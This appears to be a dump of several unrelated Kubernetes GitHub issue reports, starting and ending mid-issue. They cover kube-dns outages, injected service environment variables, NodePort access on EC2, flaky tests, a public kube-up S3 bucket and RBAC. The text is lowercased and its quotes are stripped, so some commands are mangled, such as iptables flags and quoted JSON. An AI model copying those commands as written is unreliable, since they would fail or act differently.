uname -a  : 3.10.0-693.17.1.el7.x86_64\r - install tools: yum, kubeadm\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r every container gets ~8 environmentvariables per service exposing a lot of information, and there is no way to turn it off.\r \r   what you expected to happen  :\r this  docker  deprecated  --link  feature compatibility option to be an opt-in  or at least opt-out  option.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a new container in a cluster where there are existing services. check the  env . you should see something like:\r \r    \r /   env | grep kubernetes\r kubernetes_service_port=443\r kubernetes_port=tcp://10.233.0.1:443\r kubernetes_port_443_tcp_addr=10.233.0.1\r kubernetes_port_443_tcp_port=443\r kubernetes_port_443_tcp_proto=tcp\r kubernetes_port_443_tcp=tcp://10.233.0.1:443\r kubernetes_service_port_https=443\r kubernetes_service_host=10.233.0.1\r \r   one ingress-controller\r /   env | grep ingress_nginx_ext | wc -l\r 36\r    \r \r \r   anything else we need to know?  :\r the code doing this is https://github.com/kubernetes/kubernetes/blob/v1.9.3/pkg/kubelet/kubelet_pods.go l551-l553, and some docs at https://kubernetes.io/docs/concepts/containers/container-environment-variables/.\r \r maybe things like this should be exposed using eg the downwards api instead  https://kubernetes.io/docs/tasks/inject-data-application/downward-api-volume-expose-pod-information/ \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:06z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2+coreos.0\ , gitcommit:\ b427929b2982726eeb64e985bc1ebb41aaa5e095\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t22:56:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools: helm\r - others:\r

this is a known issue, however we may not want to resolve it as it may break backwards compatibility.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/gce_pd/gce_pd.go\r provision   creates a pv using\r    \r capacity: v1.resourcelist{\r \tv1.resourcename v1.resourcestorage : resource.mustparse fmt.sprintf \ %dg\ , sizegb  ,\r }\r    \r \r sizegb comes from:\r  volumeid, sizegb, labels, fstype, err := c.manager.createvolume c  \r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/gce_pd/gce_util.go\r createvolume   returns:\r  return name, int requestgb , labels, fstype, nil  on success\r \r requestgb comes from here:\r    \r capacity := c.options.pvc.spec.resources.requests v1.resourcename v1.resourcestorage  \r // gce pds are allocated in chunks of gbs  not gibs \r requestgb := volumeutil.rounduptogb capacity \r    \r \r \r the expected behavior is that actually on a create volume, we should get the actual size of the disk created, and use that value as the pv capacity.\r \r \r   /cc @gnufied might have implications on resize?\r /cc @saad-ali \r

is this a bug report or feature request?  :\r  \r   what happened  :\r every time i initialize a new cluster, everything works perfectly for anywhere from 3 days to around a month. then kube-dns simply stops functioning. i can shell into the kubedns container, and it seems to be running fine, although i don't really know what to look for. i can ping a hostname, it resolves and is reachable, so kubedns container itself still has dns service. it's just not providing it for other containers in the cluster. and the failure happens in both containers that have been running since before it started  so they used to be able to resolve+ping a hostname, but now cannot resolve it, but can still ping with ip , and new containers that are created.\r \r  i'm not sure if it's related to time, or the number of jobs or pods that have been created. the most recent incident happened after 32 pods had been created, and 20 jobs.\r \r if i delete the kube-dns pod with:\r > kubectl delete pod --namespace kube-system kube-dns-<pod_id>\r a new kube-dns pod is created and things go back to normal  dns works for all containers, new and old .\r \r   what you expected to happen  :\r dns to continue working for containers in the cluster indefinitely.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i have one master node and two worker nodes. they are all centos 7 machines. \r \r to setup the cluster, on the master, i run:\r > systemctl start etcd\r > etcdctl mkdir /kube-centos/network\r > etcdctl mk /kube-centos/network/config \ { \\\ network\\\ : \\\ 172.30.0.0/16\\\ , \\\ subnetlen\\\ : 24, \\\ backend\\\ : { \\\ type\\\ : \\\ vxlan\\\  } }\ \r > systemctl disable etcd && systemctl stop etcd\r > systemctl enable docker && systemctl start docker\r > systemctl enable kubelet && systemctl start kubelet\r > kubeadm init --kubernetes-version v1.10.0 --apiserver-advertise-address=$ hostname  --ignore-preflight-errors=diravailable--var-lib-etcd\r > kubectl apply -f \ https://cloud.weave.works/k8s/net?k8s-version=1.10&env.weave_no_fastdp=1&env.checkpoint_disable=1\ \r > kubectl --kubeconfig=/etc/kubernetes/admin.conf proxy -p 80 --accept-hosts='. ' --address=<master_ip> &\r \r and on the two workers, i run:\r > kubeadm join --token <token> <k8s_master_host>:6443 --discovery-token-ca-cert-hash sha256:<hash> --ignore-preflight-errors cri\r \r   anything else we need to know?  :\r here's some shell commands+output that i've run that could be useful:\r \r before the failure starts happening, this is a container that's running on one of the workers:\r > bash-4.4  env\r > packages=  dumb-init   musl   libc6-compat   linux-headers   build-base   bash   git   ca-certificates   python3   python3-dev\r > hostname=network-test\r > kubernetes_port_443_tcp_proto=tcp\r > kubernetes_port_443_tcp_addr=10.96.0.1\r > kubernetes_port=tcp://10.96.0.1:443\r > pwd=/\r > home=/root\r > kubernetes_service_port_https=443\r > kubernetes_port_443_tcp_port=443\r > alpine_version=3.7\r > kubernetes_port_443_tcp=tcp://10.96.0.1:443\r > term=xterm\r > shlvl=1\r > kubernetes_service_port=443\r > path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r > kubernetes_service_host=10.96.0.1\r > _=/usr/bin/env\r > \r > bash-4.4  ifconfig\r > eth0      link encap:ethernet  hwaddr 8a:dd:6e:e8:c4:e3\r >           inet addr:10.44.0.1  bcast:10.47.255.255  mask:255.240.0.0\r >           up broadcast running multicast  mtu:65535  metric:1\r >           rx packets:1 errors:0 dropped:0 overruns:0 frame:0\r >           tx packets:1 errors:0 dropped:0 overruns:0 carrier:0\r >           collisions:0 txqueuelen:0\r >           rx bytes:42  42.0 b   tx bytes:42  42.0 b \r > \r > lo        link encap:local loopback\r >           inet addr:127.0.0.1  mask:255.0.0.0\r >           up loopback running  mtu:65536  metric:1\r >           rx packets:0 errors:0 dropped:0 overruns:0 frame:0\r >           tx packets:0 errors:0 dropped:0 overruns:0 carrier:0\r >           collisions:0 txqueuelen:1\r >           rx bytes:0  0.0 b   tx bytes:0  0.0 b \r > \r > bash-4.4  ip route\r > default via 10.44.0.0 dev eth0\r > 10.32.0.0/12 dev eth0 scope link  src 10.44.0.1\r > \r > bash-4.4  cat /etc/resolv.conf\r > nameserver 10.96.0.10\r > search default.svc.cluster.local svc.cluster.local cluster.local dc1.int.company.com dc2.int.company.com dc3.int.company.com\r > options ndots:5\r > \r > -- note that even when working, the dns ip can't be pinged. --\r > bash-4.4  ping 10.96.0.10\r > ping 10.96.0.10  10.96.0.10 : 56 data bytes\r > -- never unblocks. so we know it's fine that the container can't ping the dns ip. --\r > \r > bash-4.4  ping 10.44.0.0\r > ping 10.44.0.0  10.44.0.0 : 56 data bytes\r > 64 bytes from 10.44.0.0: seq=0 ttl=64 time=0.139 ms\r > 64 bytes from 10.44.0.0: seq=1 ttl=64 time=0.124 ms\r > --- 10.44.0.0 ping statistics ---\r > 2 packets transmitted, 2 packets received, 0% packet loss\r > round-trip min/avg/max = 0.124/0.131/0.139 ms\r > \r > bash-4.4  ping somehost.env.dc1.int.company.com\r > ping somehost.env.dc1.int.company.com  10.112.17.2 : 56 data bytes\r > 64 bytes from 10.112.17.2: seq=0 ttl=63 time=0.467 ms\r > 64 bytes from 10.112.17.2: seq=1 ttl=63 time=0.271 ms\r > 64 bytes from 10.112.17.2: seq=2 ttl=63 time=0.214 ms\r > 64 bytes from 10.112.17.2: seq=3 ttl=63 time=0.241 ms\r > 64 bytes from 10.112.17.2: seq=4 ttl=63 time=0.350 ms\r > --- somehost.env.dc1.int.company.com ping statistics ---\r > 5 packets transmitted, 5 packets received, 0% packet loss\r > round-trip min/avg/max = 0.214/0.308/0.467 ms\r > \r > bash-4.4  ping 10.112.17.2\r > ping 10.112.17.2  10.112.17.2 : 56 data bytes\r > 64 bytes from 10.112.17.2: seq=0 ttl=63 time=0.474 ms\r > 64 bytes from 10.112.17.2: seq=1 ttl=63 time=0.404 ms\r > --- 10.112.17.2 ping statistics ---\r > 2 packets transmitted, 2 packets received, 0% packet loss\r > round-trip min/avg/max = 0.404/0.439/0.474 ms\r > \r > bash-4.4  ping worker1.env\r > ping worker1.env  10.112.5.50 : 56 data bytes\r > 64 bytes from 10.112.5.50: seq=0 ttl=64 time=0.051 ms\r > 64 bytes from 10.112.5.50: seq=1 ttl=64 time=0.102 ms\r > --- worker1.env ping statistics ---\r > 2 packets transmitted, 2 packets received, 0% packet loss\r > round-trip min/avg/max = 0.051/0.076/0.102 ms\r \r after failure starts, same container that's been running the whole time:\r > bash-4.4  env\r > packages=  dumb-init   musl   libc6-compat   linux-headers   build-base   bash   git   ca-certificates   python3   python3-dev\r > hostname=vda-test\r > kubernetes_port_443_tcp_proto=tcp\r > kubernetes_port_443_tcp_addr=10.96.0.1\r > kubernetes_port=tcp://10.96.0.1:443\r > pwd=/\r > home=/root\r > kubernetes_service_port_https=443\r > kubernetes_port_443_tcp_port=443\r > alpine_version=3.7\r > kubernetes_port_443_tcp=tcp://10.96.0.1:443\r > term=xterm\r > shlvl=1\r > kubernetes_service_port=443\r > path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r > kubernetes_service_host=10.96.0.1\r > oldpwd=/root\r > _=/usr/bin/env\r > bash-4.4  ifconfig\r > eth0      link encap:ethernet  hwaddr 22:5e:d5:72:97:98\r >           inet addr:10.44.0.2  bcast:10.47.255.255  mask:255.240.0.0\r >           up broadcast running multicast  mtu:65535  metric:1\r >           rx packets:1645 errors:0 dropped:0 overruns:0 frame:0\r >           tx packets:1574 errors:0 dropped:0 overruns:0 carrier:0\r >           collisions:0 txqueuelen:0\r >           rx bytes:718909  702.0 kib   tx bytes:150313  146.7 kib \r > \r > lo        link encap:local loopback\r >           inet addr:127.0.0.1  mask:255.0.0.0\r >           up loopback running  mtu:65536  metric:1\r >           rx packets:0 errors:0 dropped:0 overruns:0 frame:0\r >           tx packets:0 errors:0 dropped:0 overruns:0 carrier:0\r >           collisions:0 txqueuelen:1\r >           rx bytes:0  0.0 b   tx bytes:0  0.0 b \r > \r > bash-4.4  ip route\r > default via 10.44.0.0 dev eth0\r > 10.32.0.0/12 dev eth0 scope link  src 10.44.0.2\r >\r > bash-4.4  cat /etc/resolv.conf\r > nameserver 10.96.0.10\r > search default.svc.cluster.local svc.cluster.local cluster.local dc1.int.company.com dc2.int.company.com dc3.int.company.com\r >\r > options ndots:5\r > bash-4.4  ping 10.44.0.0\r > ping 10.44.0.0  10.44.0.0 : 56 data bytes\r > 64 bytes from 10.44.0.0: seq=0 ttl=64 time=0.130 ms\r > 64 bytes from 10.44.0.0: seq=1 ttl=64 time=0.097 ms\r > 64 bytes from 10.44.0.0: seq=2 ttl=64 time=0.072 ms\r > 64 bytes from 10.44.0.0: seq=3 ttl=64 time=0.102 ms\r > 64 bytes from 10.44.0.0: seq=4 ttl=64 time=0.116 ms\r > 64 bytes from 10.44.0.0: seq=5 ttl=64 time=0.099 ms\r >\r > ping somehost.env.dc1.int.company.com64 bytes from 10.44.0.0: seq=6 ttl=64 time=0.167 ms\r > 64 bytes from 10.44.0.0: seq=7 ttl=64 time=0.086 ms\r > --- 10.44.0.0 ping statistics ---\r > 8 packets transmitted, 8 packets received, 0% packet loss\r > round-trip min/avg/max = 0.072/0.108/0.167 ms\r > \r > bash-4.4  ping somehost.env.dc1.int.company.com\r > ping: bad address 'somehost.env.dc1.int.company.com'\r >\r > bash-4.4  ping 10.112.17.2\r > ping 10.112.17.2  10.112.17.2 : 56 data bytes\r > 64 bytes from 10.112.17.2: seq=0 ttl=63 time=0.523 ms\r > 64 bytes from 10.112.17.2: seq=1 ttl=63 time=0.319 ms\r > 64 bytes from 10.112.17.2: seq=2 ttl=63 time=0.304 ms\r > --- 10.112.17.2 ping statistics ---\r > 3 packets transmitted, 3 packets received, 0% packet loss\r > round-trip min/avg/max = 0.304/0.382/0.523 ms\r > \r > bash-4.4  ping worker1.env\r > ping: bad address 'worker1.env'\r > \r > bash-4.4  ping 10.112.5.50\r > ping 10.112.5.50  10.112.5.50 : 56 data bytes\r > 64 bytes from 10.112.5.50: seq=0 ttl=64 time=0.095 ms\r > 64 bytes from 10.112.5.50: seq=1 ttl=64 time=0.073 ms\r > 64 bytes from 10.112.5.50: seq=2 ttl=64 time=0.083 ms\r > --- 10.112.5.50 ping statistics ---\r > 3 packets transmitted, 3 packets received, 0% packet loss\r > round-trip min/avg/max = 0.073/0.083/0.095 ms\r \r and here's the kube-dns container:\r > /   ifconfig\r > eth0      link encap:ethernet  hwaddr 9a:24:59:d1:09:52  \r >           inet addr:10.32.0.2  bcast:10.47.255.255  mask:255.240.0.0\r >           up broadcast running multicast  mtu:65535  metric:1\r >           rx packets:4387680 errors:0 dropped:0 overruns:0 frame:0\r >           tx packets:4124267 errors:0 dropped:0 overruns:0 carrier:0\r >           collisions:0 txqueuelen:0 \r >           rx bytes:1047398761  998.8 mib   tx bytes:1038950587  990.8 mib \r > \r > lo        link encap:local loopback  \r >           inet addr:127.0.0.1  mask:255.0.0.0\r >           up loopback running  mtu:65536  metric:1\r >           rx packets:4352618 errors:0 dropped:0 overruns:0 frame:0\r >           tx packets:4352618 errors:0 dropped:0 overruns:0 carrier:0\r >           collisions:0 txqueuelen:1 \r >           rx bytes:359275782  342.6 mib   tx bytes:359275782  342.6 mib \r >\r > /   ping somehost.env.dc1.int.company.com\r > ping somehost.env.dc1.int.company.com  10.112.17.2 : 56 data bytes\r > 64 bytes from 10.112.17.2: seq=0 ttl=63 time=0.430 ms\r > 64 bytes from 10.112.17.2: seq=1 ttl=63 time=0.252 ms\r > --- somehost.env.dc1.int.company.com ping statistics ---\r > 2 packets transmitted, 5 packets received, 0% packet loss\r > round-trip min/avg/max = 0.208/0.274/0.430 ms\r >\r > /   netstat\r > active internet connections  w/o servers \r > proto recv-q send-q local address           foreign address         state\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53152         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:sunproxyadmin 10.32.0.1:58424         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53174         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:sunproxyadmin 10.32.0.1:58468         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:sunproxyadmin 10.32.0.1:58446         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53096         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:sunproxyadmin 10.32.0.1:58490         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53218         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53100         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53158         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53180         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:sunproxyadmin 10.32.0.1:58402         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53202         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53178         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:sunproxyadmin 10.32.0.1:58368         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53134         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53200         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53136         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53130         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53222         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53196         time_wait\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:48230 10.96.0.1:https         established\r > tcp        0      0 kube-dns-86f4d74b45-2kxdr:10054 10.32.0.1:53102         time_wait\r > netstat: /proc/net/tcp6: no such file or directory\r > netstat: /proc/net/udp6: no such file or directory\r > netstat: /proc/net/raw6: no such file or directory\r > active unix domain sockets  w/o servers \r > proto refcnt flags       type       state         i-node path\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux master1.env.dc1.int.company.com 3.10.0-514.el7.x86_64  1 smp tue nov 22 16:42:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r not sure what this is asking. yum?\r \r - others:\r deleting the kube-dns pod fixes the issue.

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r in  cmd/kube-scheduler/app/server.go  the  newschedulercommand    function creates a  cobra.command  object and populates the  run  field with an anonymous function. at the end of that function,  run    is called, which contains the rest of our startup logic.\r \r \r rather than split this across two functions, we should put all the startup logic in one named function called  run   not  run   so that constructing the  cobra.command  object is much more plain.\r \r   /help\r /good-first-issue\r

on ec2, running a single node k8s cluster. on the node, a service is running with the type as \ nodeport\  with the exposed port \ 31380\ .\r \r i need to access this service externally over port 80.\r \r   apiversion: v1\r   kind: service\r   metadata:\r     name: demo-nginx\r     labels:\r       run: demo-nginx\r   spec:\r     ports:\r     - port: 80\r       protocol: tcp\r     selector:\r       run: demo-nginx\r     type:   nodeport  \r what additional config is needed to access this from ec2 public ip e.g. a successful \ curl ec2publicip:80\  or via a browser?\r \r > ~$ kubectl get services\r name         type        cluster-ip   external-ip   port s         age\r demo-nginx   nodeport    10.107.6.8   <none>        80:31380/tcp   17m\r kubernetes   clusterip   10.96.0.1    <none>        443/tcp        23m\r note 1  i'm able to access the service from inside the node, using the privateip.\r \r curl 172.31.8.98:31380\r \r note 2  i have tried a combination of iptable rules e.g.-\r \r sudo iptables -t nat -a prerouting -p tcp --dport 80 -j dnat --to-destination 172.31.8.98:31380\r sudo iptables -i input 1 -p tcp --dport 80 -j accept\r sudo iptables -i input 1 -m state --state related,established -j accept\r note 3  my ec2 security group and rule is configured to allow http traffic.\r \r note 4  i have updated the ip forwarding on my ec2 instance.\r \r note 5  the k8s service exposes a simple nginx deployment.\r \r > $ kubectl get deployments\r name         ready   up-to-date   available   age\r demo-nginx   1/1     1            1           43m\r any insight to this issue would be highly be highly appreciated.\r \r \r

which jobs are failing  :\r    ci-kubernetes-e2e-gce-new-master-upgrade-master \r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new \r \r   which test s  are failing  :\r   k8s.io   sig-node  kubelet  serial   slow   k8s.io   sig-node  regular resource usage tracking resource tracking for 0 pods per node \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new&width=20\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:263\r mar 11 11:51:31.967: memory usage exceeding limits:\r  node bootstrap-e2e-minion-group-rrbx:\r  container \ runtime\ : expected rss memory  mb  < 131072000; got 158027776\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:155\r    \r \r   anything else we need to know  :\r   impact:\r     occasional failures make the entire release-blocking job fail\r     it seems that some of the time, kubelet's memory usage exceeds expected limits. is that normal/indicate something wrong with that area of the code? if not, can the limits be adjucted to make the test more stable?\r   this test flakes about 4% of the time in master-upgrade, up to 30% in other jobs\r    triage - across all jobs  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=regular%20resource%20usage%20tracking%20resource%20tracking%20for%200%20pods%20per%20node \r    triage - for  ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new \r   https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new&test=regular%20resource%20usage%20tracking%20resource%20tracking%20for%200%20pods%20per%20node \r \r  /remove-kind failing-test\r  / \r @dashpole could you have a look please?

problem description  the \   download kubectl  \  section mentions the following:  > create configuration: >  >     > $ kubectl config set-cluster test-doc --server=http://localhost:8080 > $ kubectl config set-context test-doc --cluster=test-doc > $ kubectl config use-context test-doc >     >  > for max os x users instead of localhost you will have to use ip address of your docker machine, which you can find by running docker-machine env <machinename>  see documentation for details .  the  docker run  command doesn't publish any ports though, so the above does not work even if  localhost  is replaced with the correct ip address of the docker machine.   kubectl get nodes  will then fail with:      the connection to the server 192.168.99.100:8080 was refused - did you specify the right host or port?      _note:  192.168.99.100  is the ip of the docker machine that i configured as described_    hypothesis  it looks like the api server  ?  port  8080  needs to be published.    workaround  a workaround is to keep using  localhost  in the configuration line above and to then set up an ssh tunnel:      docker-machine ssh $machine_name -n -l 8080:localhost:8080       where  $machine_name  is the name of the docker machine being used,  docker-machine ls  can be used to list all running machines .  this is sufficient to make  kubectl get nodes  work as described.

for consistency, we should either support multicast across the cluster, or we should disable it on the local node:  user jcw on slack reported an odd issue where two elasticsearch pods were returning the same data, despite being intended to be different.  it turns out they happened to have landed on the same node, and the es pods  in es v1.7, though changed in later versions  had auto-discovered each other and formed a cluster.  this only shows up if the pods happen to land on the same node, because in general we don't support multicast  right?   the specific workaround for old versions of es is to set   zen.ping.multicast.enabled: false .  but in general, i don't think we want a situation where multicast works sometimes  when pods land on the same node .  i propose we either disable multicast on the local bridge, or make it work across the cluster.   personally i don't think multicast is a great idea on k8s, so i would vote for the former.

currently when the container runtime is rkt, the grace period override   24843  in killpod is ignored.   this feature is used to support eviction  see  21274   this can probably be implemented by updating the systemd  timeoutstopsec , reloading, and re-stopping. this is also likely to be supported by rkt itself  see https://github.com/coreos/rkt/pull/2438  at which point we can probably just call that :grinning:

please upgrade vendored  github.com/imdario/mergo  https://github.com/imdario/mergo/releases : its releases are semantically versioned and problems that made kubernetes stick to older version of _mergo_ appears to be fixed. i think there is no need to delay upgrade any longer.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : s3, bucket, permissions  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3.0    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : the one used by kube-up.sh -   kernel    e.g.  uname -a  : the one used by kube-up.sh -   install tools  : kube-up.sh -   others  :    what happened  :  the  s3 bucket created by kube-up  https://github.com/kubernetes/kubernetes/blob/release-1.3.0/cluster/aws/util.sh l667-l675  is publicly accesible.  also, the  s3 iam permissions  https://github.com/kubernetes/kubernetes/blob/release-1.3.0/cluster/aws/templates/iam/kubernetes-minion-policy.json l8  don't respect the value of the  aws_s3_bucket  env variable and are hardcoded to  kubernetes-      what you expected to happen  :  i don't think the bucket should be public.  if it is public for a good reason, the iam policies shouldn't contain explicit permission for s3 or at the very least they should follow the bucket name set by  aws_s3_bucket     how to reproduce it    as minimally and precisely as possible :  just calling  kube-up.sh     anything else do we need to know  :  not really

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2498/ failed:  k8s.io  configmap should be consumable via environment variable  conformance  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:382 expected error:     < errors.errorstring | 0xc4202685a0>: {         s: \ failed to get logs from pod-configmaps-59ebd4af-087b-11e7-90c9-42010a800019 for env-test: the server could not find the requested resource  get pods pod-configmaps-59ebd4af-087b-11e7-90c9-42010a800019 \ ,     }     failed to get logs from pod-configmaps-59ebd4af-087b-11e7-90c9-42010a800019 for env-test: the server could not find the requested resource  get pods pod-configmaps-59ebd4af-087b-11e7-90c9-42010a800019  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195       previous issues for this test:  42526

in order to create an rbac role, i need to have all of the permissions that exist in the role,  through rbac . it doesn't matter if i have all the permissions through another authorizer.\r \r on gke, for example, if i want to use my google identity to create a role, i first have to create an rbac rolebinding giving myself the  cluster-admin  role, even if i am the owner of the project that has the gke cluster.\r \r we should authorize role creation in a way that allows \ super users\  from other authorizers to use rbac.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r while reviewing kubelet logs after a 1.6.0 -> 1.7.1 upgrade, i noticed errors indicating failure to attach volumes to a pod  spawned by a cronjob  for which i know the volume attachment was successful. these errors show up after the only container in the pod has already exited, with its execution and kubelet logging prior to these errors all indicating there was no issue with these volumes. the only non-sandbox container in the pod is very short lived  ~300ms  and i think that could be a factor here.\r \r looking back through older logs, it appears as though this is _not_ new for 1.7.1, and occurred in 1.6.0 as well.\r \r    \r e0716 12:32:13.958184    2898 kubelet.go:1621  unable to mount volumes for pod \ kube-cronjob-cleanup-cronjob-1500208200-xtdb1_default 818db162-6a22-11e7-a6cf-00163e215c33 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ kube-cronjob-cleanup-cronjob-1500208200-xtdb1\ . list of unattached/unmounted volumes= config cluster-nfs-storage-root default-token-pr6lq ; skipping pod\r e0716 12:32:13.958235    2898 pod_workers.go:182  error syncing pod 818db162-6a22-11e7-a6cf-00163e215c33  \ kube-cronjob-cleanup-cronjob-1500208200-xtdb1_default 818db162-6a22-11e7-a6cf-00163e215c33 \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ kube-cronjob-cleanup-cronjob-1500208200-xtdb1\ . list of unattached/unmounted volumes= config cluster-nfs-storage-root default-token-pr6lq \r    \r \r   what you expected to happen  :\r since the pod already ran to completion and was entirely successful, including in its handling of these volumes, i wouldn't expect to see errors about the volumes at this stage.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it looks like this happens whenever i have a short lived pod  internal logging suggests it runs for 300ms from init to exit  that is spawned by a cronjob and mounts a configmap, secret, and nfs share. i suspect that it's the short-liveness of the pod that's a factor, but i'm not sure.\r \r   anything else we need to know?  :\r for a little more context, given the pod above, here's the logging showing the mounts being successfully attached, and when the container that mounted them was destroyed  after successfully running to completion .\r \r    \r i0716 12:30:09.468445    2898 operation_generator.go:472  mountvolume.setup succeeded for volume \ config\   uniquename: \ kubernetes.io/configmap/818db162-6a22-11e7-a6cf-00163e215c33-config\   pod \ kube-cronjob-cleanup-cronjob-1500208200-xtdb1\   uid: \ 818db162-6a22-11e7-a6cf-00163e215c33\   \r i0716 12:30:09.527663    2898 operation_generator.go:472  mountvolume.setup succeeded for volume \ default-token-pr6lq\   uniquename: \ kubernetes.io/secret/818db162-6a22-11e7-a6cf-00163e215c33-default-token-pr6lq\   pod \ kube-cronjob-cleanup-cronjob-1500208200-xtdb1\   uid: \ 818db162-6a22-11e7-a6cf-00163e215c33\   \r i0716 12:30:09.594366    2898 operation_generator.go:472  mountvolume.setup succeeded for volume \ cluster-nfs-storage-root\   uniquename: \ kubernetes.io/nfs/818db162-6a22-11e7-a6cf-00163e215c33-cluster-nfs-storage-root\   pod \ kube-cronjob-cleanup-cronjob-1500208200-xtdb1\   uid: \ 818db162-6a22-11e7-a6cf-00163e215c33\   \r \r i0716 12:30:10.736459    2898 manager.go:970  destroyed container: \ 